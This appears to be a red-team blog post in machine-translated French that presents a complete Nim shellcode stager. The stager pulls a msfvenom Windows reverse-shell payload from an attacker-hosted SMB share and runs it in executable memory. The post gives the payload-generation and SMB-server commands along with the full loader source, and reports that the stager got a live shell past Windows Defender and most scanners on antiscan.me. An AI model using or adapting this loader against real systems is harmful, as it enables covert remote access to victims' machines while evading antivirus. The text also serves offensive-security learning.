Développer un stager SMB dans Nim
Bonjour chers Teamers Rouges. J'ai récemment commencé à contacter Nim pour du codage offensif. Pour être honnête, je trouve cela difficile et étrange, mais ça MARCHE !
Aujourd'hui, nous développons un stager SMB simple, en contournant Windows Defender au moment des tests.
Si vous préférez regarder une vidéo au lieu de lire, la vidéo complète peut être trouvée ici :https://youtu.be/qq-S2syksL0
De plus, si vous souhaitez rejoindre Discord ouvert pour partager des connaissances et une expérience en matière de cybersécurité, n'hésitez pas :https://discord.gg/dWCe5ZMvtQ
Allons-y
La théorie est assez simple, l'idée est d'éviter d'écrire le shellcode dans le fichier, en contournant la détection basée sur la signature, tout en aidant également pour l'heuristique. J'ai d'abord essayé de télécharger le shellcode avec HTTP, mais je suis tombé sur de nombreux problèmes, que je n'ai pas pu résoudre moi-même. Ensuite, la méthodologie a légèrement changé. Au lieu de le télécharger depuis HTTP, la charge utile sera hébergée sur le partage SMB et sera directement lue à partir de là.
J'ai utilisé la charge utile sans étape msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f raw -o code.bin
impacket-smbserver smb . -ts -debug -smb2support
import winim/lean
var filename = "\\\\192.168.153.128\\smb\\code.bin"
var file: File = open(filename, fmRead)
var fileSize = file.getFileSize()
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close
echo shellcode
echo fileSize
echo sizeof(shellcode)
type
buf* = LPVOID
var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()
Tout d'abord, nous devons importer la bibliothèque du noyau Windows, ce qui nous permet d'invoquer les API Windows :
import winim/lean
var filename = "\\\\192.168.153.128\\smb\\code.bin"
var file: File = open(filename, fmRead)
var fileSize = file.getFileSize()
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close
type
buf* = LPVOID
var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()
L'heure des tests !
J'ai effectué 2 tests. Le premier est contre le client Windows 10 avec Defender UP et RUNNING. La seconde est contre l'interface antiscan.me.
Nim Stager contre Windows Defender
Le test 1 commence par déposer le stager sur le système de fichiers. Rien ne se déclenche jusqu'à présent, ce qui signifie que nous avons réussi à contourner la détection basée sur la signature. Maintenant, courons et observons :
Le stager s'est avéré fonctionner très bien, et la chose étrange ici est que Defender a réussi à se déclencher, mais cela n'a pas tué le shell :
J'ai eu ce shell en cours d'exécution pendant un tas de minutes et il était entièrement fonctionnel. Personnellement, je n'ai aucune idée de la raison pour laquelle le défenseur ne l'a pas tué, si vous connaissez la réponse, j'apprécierais le partage.
Nim Stager contre Antiscanme
Ne vous méprenez pas, l'antiscanme est génial mais lors des tests de stagers, ils n'ont pas vraiment de moyen de présenter des résultats valides. Les résultats que vous voyez sont basés solidement sur la détection basée sur la signature, car ils n'ont aucune possibilité réseau de télécharger le shellcode réel. Je m'attends à ce que davantage de fournisseurs audiovisuels détectent cela lors de tests réels, mais c'est une belle "première étape" à faire.
Après avoir téléchargé le stager, seuls 4 fournisseurs sur 26 ont pu l'attraper.
Je pense que ce déclencheur est basé sur la lecture par les fournisseurs des appels d'API Windows, ce qui le considère comme un élément malveillant. Bien sûr, afin de tester exactement ce qui n'allait pas, j'aurais besoin d'effectuer de très nombreux tests. C'est ma théorie pour le moment.
Conclusion
Jouer avec Nim est amusant et les résultats que nous avons obtenus en mettant simplement les choses en scène sont incroyables. Bien sûr, il existe des techniques de contournement AV bien plus avancées que nous pouvons effectuer, mais nous le ferons à l'avenir. J'espère que vous trouverez ce contenu utile et que vous aurez appris quelque chose de nouveau.